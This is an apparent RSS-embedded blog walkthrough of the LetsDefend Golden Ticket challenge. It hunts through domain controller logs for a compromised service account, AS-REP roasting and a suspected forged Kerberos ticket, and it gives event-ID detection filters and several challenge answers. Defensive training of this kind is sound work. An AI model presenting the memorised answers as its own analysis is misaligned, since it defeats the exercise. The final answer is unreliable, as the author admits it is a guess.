            <description>&lt;img src=&#34;https://stumblesec.com/posts/letsdefend-golden-ticket-challenge-walkthrough/a23fc2f7b435ad3801896d084afd433e_MD5.png&#34; alt=&#34;Featured image of post LetsDefend — Golden Ticket Challenge Walkthrough&#34; /&gt;&lt;h3 id=&#34;letsdefend--golden-ticket-challenge-walkthrough&#34;&gt;LetsDefend — Golden Ticket Challenge Walkthrough&#xA;&lt;/h3&gt;&lt;h4 id=&#34;investigating-domain-controller-logs-using-event-log-explorer-and-mitreattck&#34;&gt;Investigating Domain Controller Logs Using Event Log Explorer and MITRE ATT&amp;amp;CK.&#xA;&lt;/h4&gt;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;459px&#34; data-flex-grow=&#34;191&#34; height=&#34;296&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-golden-ticket-challenge-walkthrough/a23fc2f7b435ad3801896d084afd433e_MD5.png&#34; width=&#34;567&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Image Credit: &lt;a class=&#34;link&#34; href=&#34;https://app.letsdefend.io/challenge/golden-ticket&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://app.letsdefend.io/challenge/golden-ticket&lt;/a&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;introduction&#34;&gt;Introduction:&#xA;&lt;/h3&gt;&lt;p&gt;Welcome to my weekly walkthrough! If you&amp;rsquo;ve stumbled across this blog while looking for a detailed guide to the &lt;a class=&#34;link&#34; href=&#34;https://app.letsdefend.io/challenge/golden-ticket&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Golden Ticket&lt;/strong&gt;&lt;/a&gt; challenge from &lt;a class=&#34;link&#34; href=&#34;https://app.letsdefend.io/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;LetsDefend&lt;/strong&gt;&lt;/a&gt;, you&amp;rsquo;re in the right place. Stick around to learn a little bit about detecting &lt;em&gt;Golden Ticket&lt;/em&gt; attacks in Active Directory.&lt;/p&gt;&#xA;&lt;h4 id=&#34;challenge-scenario&#34;&gt;Challenge Scenario:&#xA;&lt;/h4&gt;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;An alert has been triggered within a network, indicating a possible attack on the Domain Controller (DC). The security team has detected suspicious activity suggesting lateral movement attempts from a compromised workstation to the DC. The attacker, identified as having infiltrated the network, appears to be targeting sensitive systems. An investigator is tasked with analyzing network traffic, reviewing event logs, and identifying how the attacker is navigating through the environment. The goal is to trace the attacker&amp;rsquo;s steps, determine their access point, and prevent further escalation to the Domain Controller.&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&lt;p&gt;For this challenge, we&amp;rsquo;re putting on our incident response hats. An alert points to lateral movement from a compromised workstation to the Domain Controller. Not good! Our job is to quickly figure out what the attacker did by hunting through the logs and following their trail.&lt;/p&gt;&#xA;&lt;p&gt;We&amp;rsquo;ll work from a single artifact: the Windows Security Event Log, and use &lt;a class=&#34;link&#34; href=&#34;https://eventlogxp.com/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Event Log Explorer&lt;/strong&gt;&lt;/a&gt; to filter and correlate the attacker&amp;rsquo;s authentication activities. The goal is to identify whether a Golden Ticket was forged and pin down the accounts, timestamps, and logon types to support our case.&lt;/p&gt;&#xA;&lt;p&gt;By the end of this thing, you&amp;rsquo;ll have a repeatable approach for spotting Active Directory attacks like AS-REP roasting and suspected Golden Ticket usage from just a domain controller&amp;rsquo;s security log. Time to turn those noisy logs into a clean timeline of the attack — let&amp;rsquo;s go!&lt;/p&gt;&#xA;&lt;p&gt;And if you find this walkthrough helpful — whether it levels-up your skills, gets you over a stumbling block, or just gives you a clearer view of the blue team side of incident response — please give it a clap and consider following me for more content like this.&lt;/p&gt;&#xA;&lt;p&gt;Thanks for reading and going on this investigation with me!&lt;/p&gt;&#xA;&lt;hr&gt;&#xA;&lt;h3 id=&#34;golden-ticketbasics&#34;&gt;Golden Ticket Basics:&#xA;&lt;/h3&gt;&lt;p&gt;Before we jump too far into the investigation, let&amp;rsquo;s lay some groundwork and do a quick recap of what a &lt;strong&gt;Golden Ticket&lt;/strong&gt; is in the context of a domain controller. This will help us contextualize the investigation as we go through it.&lt;/p&gt;&#xA;&lt;p&gt;In an &lt;strong&gt;Active Directory&lt;/strong&gt; environment, modern authentication is handled using &lt;strong&gt;Kerberos&lt;/strong&gt;. We don&amp;rsquo;t need to go terribly in-depth, since there are excellent resources for deeper dives if you want to research further. The idea is that when a client in an &lt;em&gt;Active Directory&lt;/em&gt; environment needs to access a resource or log in to a server, an authentication flow takes place using &lt;em&gt;Kerberos.&lt;/em&gt; Here&amp;rsquo;s a quick visual from &lt;a class=&#34;link&#34; href=&#34;https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-kile/b4af186e-b2ff-43f9-b18e-eedb366abf13&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Microsoft Learn&lt;/strong&gt;&lt;/a&gt;:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;323px&#34; data-flex-grow=&#34;134&#34; height=&#34;410&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-golden-ticket-challenge-walkthrough/64cf35a153bdb58a8d8a4f1411f18257_MD5.png&#34; width=&#34;553&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;a class=&#34;link&#34; href=&#34;https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-kile/b4af186e-b2ff-43f9-b18e-eedb366abf13&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-kile/b4af186e-b2ff-43f9-b18e-eedb366abf13&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;For the context of a &lt;em&gt;Golden Ticket&lt;/em&gt; attack, remember that &lt;em&gt;Kerberos&lt;/em&gt; uses tickets to validate client identity in the form of a &lt;strong&gt;Ticket Granting Ticket (TGT)&lt;/strong&gt;. A &lt;em&gt;TGT&lt;/em&gt; is issued by the Key Distribution Center and encrypted/signed with the &lt;strong&gt;KRBTGT&lt;/strong&gt; service account key. Put simply, compromising the &lt;em&gt;KRBTGT&lt;/em&gt; hash lets an attacker forge TGTs that look legitimate to the KDC and then use them to request service tickets (&lt;code&gt;TGS&lt;/code&gt;) for specific resources even as highly privileged accounts like a domain administrator.&lt;/p&gt;&#xA;&lt;p&gt;Here&amp;rsquo;s a concise, authoritative description from &lt;strong&gt;MITRE ATT&amp;amp;CK&lt;/strong&gt; (&lt;a class=&#34;link&#34; href=&#34;https://attack.mitre.org/techniques/T1558/001/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;em&gt;Steal or Forge Kerberos Tickets: Golden Ticket — T1558.001&lt;/em&gt;&lt;/a&gt;):&lt;/p&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;Adversaries who have the KRBTGT account password hash may forge Kerberos ticket-granting tickets (TGT), also known as a golden ticket.&lt;a class=&#34;link&#34; href=&#34;https://adsecurity.org/?p=1640&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;[1]&lt;/a&gt; Golden tickets enable adversaries to generate authentication material for any account in Active Directory.&lt;a class=&#34;link&#34; href=&#34;https://cert.europa.eu/static/WhitePapers/UPDATED%20-%20CERT-EU_Security_Whitepaper_2014-007_Kerberos_Golden_Ticket_Protection_v1_4.pdf&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;[2]&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;Using a golden ticket, adversaries are then able to request ticket granting service (TGS) tickets, which enable access to specific resources. Golden tickets require adversaries to interact with the Key Distribution Center (KDC) in order to obtain TGS.&lt;a class=&#34;link&#34; href=&#34;https://adsecurity.org/?p=1515&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;[3]&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;The KDC service runs all on domain controllers that are part of an Active Directory domain. KRBTGT is the Kerberos Key Distribution Center (KDC) service account and is responsible for encrypting and signing all Kerberos tickets.&lt;a class=&#34;link&#34; href=&#34;https://adsecurity.org/?p=483&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;[4]&lt;/a&gt; The KRBTGT password hash may be obtained using &lt;a class=&#34;link&#34; href=&#34;https://attack.mitre.org/techniques/T1003&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;OS Credential Dumping&lt;/a&gt; and privileged access to a domain controller.&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&lt;p&gt;So, in the context of our investigation, we have an alert that a domain controller was compromised after lateral movement, which could give the attacker access to &lt;em&gt;KRBTGT&lt;/em&gt;. Our job will be to identify whether a &lt;em&gt;Golden Ticket&lt;/em&gt; was forged and used to escalate the attacker&amp;rsquo;s privileges to a higher level, like a domain administrator. Now that we&amp;rsquo;ve set the stage, let&amp;rsquo;s get into the investigation!&lt;/p&gt;&#xA;&lt;h3 id=&#34;questions-1-2-3&#34;&gt;Questions 1, 2, &amp;amp; 3:&#xA;&lt;/h3&gt;&lt;h4 id=&#34;when-did-the-attacker-first-access-the-service-account-within-the-domain-controller-environment&#34;&gt;When did the attacker first access the service account within the Domain Controller environment?&#xA;&lt;/h4&gt;&lt;h4 id=&#34;what-is-the-name-of-the-compromised-serviceaccount&#34;&gt;What is the name of the compromised service account?&#xA;&lt;/h4&gt;&lt;h4 id=&#34;which-ip-address-and-port-were-used-by-the-attacker-to-log-into-the-compromised-account&#34;&gt;Which IP address and port were used by the attacker to log into the compromised account?&#xA;&lt;/h4&gt;&lt;p&gt;Let&amp;rsquo;s kick off this investigation and determine what the attacker was after. First, extract &lt;code&gt;goldenticket.7z&lt;/code&gt; from the &lt;code&gt;ChallengeFile&lt;/code&gt; folder. This leaves us with a single artifact: a copy of the Windows Security Event Log from the compromised domain controller — &lt;code&gt;Security.evtx&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;834px&#34; data-flex-grow=&#34;347&#34; height=&#34;230&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-golden-ticket-challenge-walkthrough/6c7503d6d60fbdca3436db96fc545e6d_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Overview of the challenge artifacts&lt;/p&gt;&#xA;&lt;p&gt;The first thing we need to home in on is malicious login activity contained in the log. For this, we can open this in &lt;em&gt;Windows Event Viewer&lt;/em&gt;, or we can use &lt;a class=&#34;link&#34; href=&#34;https://eventlogxp.com/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Event Log Explorer&lt;/strong&gt;&lt;/a&gt;, a third-party utility that speeds up event log analysis. Since &lt;em&gt;Event Log Explorer&lt;/em&gt; is already built into the &lt;em&gt;LetsDefend&lt;/em&gt; analysis environment, I&amp;rsquo;ll be using it for this walkthrough.&lt;/p&gt;&#xA;&lt;p&gt;Next, open &lt;em&gt;Event Log Explorer&lt;/em&gt; and load the &lt;code&gt;Security.evtx&lt;/code&gt; file. To quickly identify the first malicious login, we can then apply some filtering to surface exactly what we need.&lt;/p&gt;&#xA;&lt;p&gt;Start with broad strokes by filtering for &lt;strong&gt;Event ID 4624&lt;/strong&gt; (&lt;em&gt;Successful Logon&lt;/em&gt;). You can access filtering options by pressing the filter button on the &lt;em&gt;Event Log Explorer&lt;/em&gt; toolbar, then entering &lt;code&gt;4624&lt;/code&gt; into the &lt;em&gt;Event ID(s)&lt;/em&gt; field.&lt;/p&gt;&#xA;&lt;p&gt;Since we&amp;rsquo;re specifically searching for a service account login, we might guess that the account name contains the string &lt;code&gt;service&lt;/code&gt;. Add a custom parameter in the &lt;em&gt;description params&lt;/em&gt; tab: select &lt;em&gt;new logon\account name&lt;/em&gt;, set the operator to &lt;em&gt;contains&lt;/em&gt;, and the value to &lt;code&gt;service&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;336px&#34; data-flex-grow=&#34;140&#34; height=&#34;570&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-golden-ticket-challenge-walkthrough/d3e7878719b967356a5e8f8acbe6ec64_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Event Log Explorer: Filtering successful login events containing the Account Name &amp;quot; # &amp;quot;&lt;/p&gt;&#xA;&lt;p&gt;service&amp;quot;&lt;/p&gt;&#xA;&lt;p&gt;Once we apply the filter, our event list becomes much more manageable. Because this investigation is in the context of a remotely accessed service account, we further whittle down results by discarding interactive (&lt;em&gt;type 2&lt;/em&gt;) logons and searching for network logons (&lt;em&gt;type 3&lt;/em&gt;) which is common with accessing services over the network.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;338px&#34; data-flex-grow=&#34;140&#34; height=&#34;568&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-golden-ticket-challenge-walkthrough/497a79b8bc35fe2a3b46e4111ce17bec_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Event Log Explorer: Identifying the first successful login for SQLService&lt;/p&gt;&#xA;&lt;p&gt;This will lead us to stumble upon the key logon event above. In the &lt;em&gt;Account Name&lt;/em&gt; field, we&amp;rsquo;ll find a &lt;code&gt;4624&lt;/code&gt; network logon for the service account &lt;code&gt;SQLService&lt;/code&gt;. That gives us the likely answer to &lt;strong&gt;Questions 1 &amp;amp; 2&lt;/strong&gt;. Even better, &lt;code&gt;4624&lt;/code&gt; events include &lt;em&gt;Network Information&lt;/em&gt; fields such as &lt;code&gt;Source Network Address&lt;/code&gt; and &lt;code&gt;Source Port&lt;/code&gt;, which reveal where and how the logon originated. Those fields will provide the answer to &lt;strong&gt;Question 3&lt;/strong&gt; — nice!&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;523px&#34; data-flex-grow=&#34;217&#34; height=&#34;367&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-golden-ticket-challenge-walkthrough/0512c52d14097df3449ae3d2c7bce5c4_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;questions-4-5&#34;&gt;Questions 4 &amp;amp; 5:&#xA;&lt;/h3&gt;&lt;h4 id=&#34;before-that-the-same-attacker-tried-to-perform-an-as-rep-attack-what-user-account-did-the-attacker-target-during-this-kerberosattack&#34;&gt;Before that the same attacker tried to perform an AS-REP attack. What user account did the attacker target during this Kerberos attack?&#xA;&lt;/h4&gt;&lt;h4 id=&#34;when-did-the-attacker-request-that-tgt-ticket-to-perform-the-as-repattack&#34;&gt;When did the attacker request that TGT ticket to perform the AS-REP attack?&#xA;&lt;/h4&gt;&lt;p&gt;Now that we&amp;rsquo;ve established some baseline timestamps and uncovered indicators of attack, we&amp;rsquo;ll turn our attention to the attacker&amp;rsquo;s earlier technique — &lt;strong&gt;AS-REP Roasting&lt;/strong&gt;.&lt;/p&gt;&#xA;&lt;p&gt;Before we blindly pour through the logs, let&amp;rsquo;s turn to the &lt;strong&gt;MITRE ATT&amp;amp;CK&lt;/strong&gt; entry for this tactic for context: &lt;a class=&#34;link&#34; href=&#34;https://attack.mitre.org/techniques/T1558/004/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;em&gt;Steal or Forge Kerberos Tickets: AS-REP Roasting&lt;/em&gt;&lt;/a&gt; &lt;em&gt;(T1558.004)&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;Adversaries may reveal credentials of accounts that have disabled Kerberos preauthentication by &lt;a class=&#34;link&#34; href=&#34;https://attack.mitre.org/techniques/T1110/002&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;Password Cracking&lt;/a&gt; Kerberos messages. For each account found without preauthentication, an adversary may send an AS-REQ message without the encrypted timestamp and receive an AS-REP message with TGT data which may be encrypted with an insecure algorithm such as RC4.&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&lt;p&gt;Think back to the &lt;em&gt;Kerberos&lt;/em&gt; diagram we reviewed earlier. The &lt;em&gt;AS-REQ&lt;/em&gt; and &lt;em&gt;AS-REP&lt;/em&gt; are the first steps in the &lt;em&gt;Kerberos&lt;/em&gt; authentication flow. &lt;em&gt;AS-REP&lt;/em&gt; roasting is possible in an &lt;em&gt;Active Directory&lt;/em&gt; domain when an account has &lt;em&gt;pre-authentication&lt;/em&gt; &lt;strong&gt;disabled&lt;/strong&gt;. With pre-authentication &lt;strong&gt;enabled&lt;/strong&gt;, the user&amp;rsquo;s &lt;em&gt;AS-REQ&lt;/em&gt; includes a timestamp encrypted with the hash of their password and the DC must decrypt it before issuing an &lt;em&gt;AS-REP&lt;/em&gt; containing a &lt;code&gt;TGT&lt;/code&gt;. When an account doesn&amp;rsquo;t require this pre-authentication, attackers can just send an &lt;em&gt;AS-REQ,&lt;/em&gt; snag the &lt;em&gt;AS-REP,&lt;/em&gt; and then brute-force the encrypted data offline to expose credentials. Not good!&lt;/p&gt;&#xA;&lt;p&gt;So, what does this mean for our investigation? Another useful resource in &lt;strong&gt;MITRE ATT&amp;amp;CK&lt;/strong&gt; is the detection strategy for these attacks. It recommends hunting for:&lt;/p&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;Detects AS-REP roasting attempts by monitoring for Kerberos AS-REQ/AS-REP authentication patterns where preauthentication is disabled (&lt;strong&gt;Event ID 4768&lt;/strong&gt; with &lt;strong&gt;Pre-Auth Type 0&lt;/strong&gt;). Correlates these requests with subsequent service ticket activity (&lt;strong&gt;Event ID 4769&lt;/strong&gt;) and anomalies such as requests using weak RC4 encryption &lt;strong&gt;(etype 0x17&lt;/strong&gt;).&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&lt;p&gt;Let&amp;rsquo;s put this into action in &lt;strong&gt;Event Log Explorer&lt;/strong&gt; and search for:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;TGT requests&lt;/strong&gt;: Event ID &lt;code&gt;4768&lt;/code&gt; with &lt;code&gt;PreAuthType = 0&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Service ticket activity&lt;/strong&gt;: Event ID &lt;code&gt;4769&lt;/code&gt; where &lt;code&gt;TicketEncryptionType = 0x17&lt;/code&gt; to spot legacy RC4 usage&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;338px&#34; data-flex-grow=&#34;141&#34; height=&#34;567&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-golden-ticket-challenge-walkthrough/4db5b5ba26cfb3246280121350e435e5_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Event Log Explorer: Filtering for AS-REP roasting targets&lt;/p&gt;&#xA;&lt;p&gt;Bingo! When you apply these filters, you&amp;rsquo;ll find exactly one matching hit: a single &lt;code&gt;4768&lt;/code&gt; event that matches the detection conditions. That event contains what we need to answer &lt;strong&gt;Questions 4 &amp;amp; 5&lt;/strong&gt;.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;339px&#34; data-flex-grow=&#34;141&#34; height=&#34;565&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-golden-ticket-challenge-walkthrough/6132e2d22ceaa130a1e363ec45b77136_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Event Log Explorer: Stumbling across a matching event log&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;777px&#34; data-flex-grow=&#34;323&#34; height=&#34;247&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-golden-ticket-challenge-walkthrough/fb3f0f261ebdcda16df958f6ef787be4_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;questions-6-7&#34;&gt;Questions 6 &amp;amp; 7:&#xA;&lt;/h3&gt;&lt;h4 id=&#34;after-gaining-access-to-the-domain-controller-the-attacker-attempted-to-generate-a-golden-ticket-to-impersonate-a-dc-user-what-was-the-targetaccount&#34;&gt;After gaining access to the Domain Controller, the attacker attempted to generate a Golden Ticket to impersonate a DC user. What was the target account?&#xA;&lt;/h4&gt;&lt;h4 id=&#34;at-what-time-did-the-attacker-try-to-log-in-using-the-goldenticket&#34;&gt;At what time did the attacker try to log in using the Golden Ticket?&#xA;&lt;/h4&gt;&lt;p&gt;On to the last two questions! We&amp;rsquo;re looking for another successful login event that might indicate attempted use of a &lt;strong&gt;Golden Ticket&lt;/strong&gt;, impersonating another user in the domain. Since the question tells us we&amp;rsquo;re looking &lt;strong&gt;after&lt;/strong&gt; the attacker gained access to the domain controller, let&amp;rsquo;s apply some focused filtering in &lt;em&gt;Event Log Explorer&lt;/em&gt;:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;Filter Event IDs:&lt;/strong&gt; &lt;code&gt;4624&lt;/code&gt; (&lt;em&gt;Successful Logon&lt;/em&gt;) and &lt;code&gt;4768&lt;/code&gt; (&lt;em&gt;TGT requests&lt;/em&gt;)&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Time window:&lt;/strong&gt; Events on the day of the attack &lt;em&gt;after&lt;/em&gt; the event we found in &lt;strong&gt;Question 5&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Exclude previously identified accounts:&lt;/strong&gt; Filter out &lt;code&gt;Corrado&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Exclude computer accounts:&lt;/strong&gt; Remove &lt;code&gt;SOPRANOS-DC$&lt;/code&gt; to focus only on user accounts&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;258px&#34; data-flex-grow=&#34;107&#34; height=&#34;579&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-golden-ticket-challenge-walkthrough/9255e42bad5d7ce0c683de3f31f9b20b_MD5.png&#34; width=&#34;623&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Event Log Explorer: Applying filters to reduce the noise&lt;/p&gt;&#xA;&lt;p&gt;With these filters applied, we&amp;rsquo;ll identify activity for the &lt;code&gt;Administrator&lt;/code&gt; account — a juicy target for an attacker looking for the keys to the kingdom. Let&amp;rsquo;s focus on this account now.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;335px&#34; data-flex-grow=&#34;139&#34; height=&#34;572&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-golden-ticket-challenge-walkthrough/a4fdd6d38176bcec4a96ad3711e32450_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Event Log Explorer: Identifying an Administrator user in the event logs&lt;/p&gt;&#xA;&lt;p&gt;To correlate associated &lt;code&gt;Administrator&lt;/code&gt; activity, expand the filtered event set to include &lt;code&gt;4768&lt;/code&gt;, &lt;code&gt;4769&lt;/code&gt;, &lt;code&gt;4624&lt;/code&gt;, and &lt;code&gt;4625&lt;/code&gt; (&lt;em&gt;logon failure&lt;/em&gt;), add &lt;code&gt;Administrator&lt;/code&gt; to the &lt;em&gt;Text in description&lt;/em&gt; field, and clear any description parameters we used earlier so we don&amp;rsquo;t suppress relevant fields.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;257px&#34; data-flex-grow=&#34;107&#34; height=&#34;643&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-golden-ticket-challenge-walkthrough/063c722330a859f9d0c486291a8a9b53_MD5.png&#34; width=&#34;690&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Event Log Explorer: Filtering for Administrator activity&lt;/p&gt;&#xA;&lt;p&gt;From the results, something looks odd. Between &lt;strong&gt;5:04:23 PM&lt;/strong&gt; and &lt;strong&gt;5:41:28 PM&lt;/strong&gt;, we discover dozens of &lt;code&gt;4769&lt;/code&gt; (service ticket request) events, a couple of &lt;code&gt;4768&lt;/code&gt; (TGT) events, and several &lt;code&gt;4625&lt;/code&gt; logon failures for &lt;code&gt;Administrator&lt;/code&gt;. In other words, this looks suspiciously like testing or enumeration noise from the attacker.&lt;/p&gt;&#xA;&lt;p&gt;Then we hit what really tips us off: at &lt;strong&gt;5:57:03 PM&lt;/strong&gt; there&amp;rsquo;s a clean sequence that ends in a successful logon: &lt;code&gt;4768&lt;/code&gt; → &lt;code&gt;4769&lt;/code&gt; → &lt;code&gt;**4624**&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;496px&#34; data-flex-grow=&#34;206&#34; height=&#34;387&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-golden-ticket-challenge-walkthrough/d5bbbd5494650019893c902947fb51d9_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Event Log Explorer: Identifying a suspicious logon event sequence&lt;/p&gt;&#xA;&lt;p&gt;This &lt;code&gt;4624&lt;/code&gt; is &lt;strong&gt;Logon Type 2&lt;/strong&gt; (&lt;em&gt;interactive&lt;/em&gt;). That isn&amp;rsquo;t the usual &lt;strong&gt;network&lt;/strong&gt; pattern we often see with &lt;strong&gt;Golden Ticket&lt;/strong&gt; use (&lt;em&gt;typically surfaces as Logon Type 3 on a target server&lt;/em&gt;), but it differs from the earlier &lt;strong&gt;Type 7&lt;/strong&gt; unlocks we observed for this account and lands right after the suspicious &lt;code&gt;4769&lt;/code&gt;/&lt;code&gt;4625&lt;/code&gt; activity. That contrast is enough to treat it as a strong lead.&lt;/p&gt;&#xA;&lt;p&gt;Since we&amp;rsquo;re absent any other clues indicating a &lt;em&gt;Golden Ticket&lt;/em&gt; like a &lt;code&gt;Logon GUID&lt;/code&gt; of &lt;code&gt;{00000000-0000-0000-0000-000000000000}&lt;/code&gt;, odd ticket options, or a missing preceding &lt;code&gt;TGT&lt;/code&gt; request, we&amp;rsquo;ll treat this as an educated guess: the &lt;code&gt;Administrator&lt;/code&gt; logon at &lt;code&gt;5:57:03 PM&lt;/code&gt; is the most likely moment the attacker successfully authenticated using forged credentials, following the enumeration we observed.&lt;/p&gt;&#xA;&lt;p&gt;It&amp;rsquo;s not perfect evidence, but the timing, the switch to &lt;em&gt;Logon Type 2&lt;/em&gt;, and the &lt;code&gt;4769&lt;/code&gt;/&lt;code&gt;4625&lt;/code&gt; pattern make it the best option to prove our case. Let&amp;rsquo;s see if we&amp;rsquo;ve got it right!&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;771px&#34; 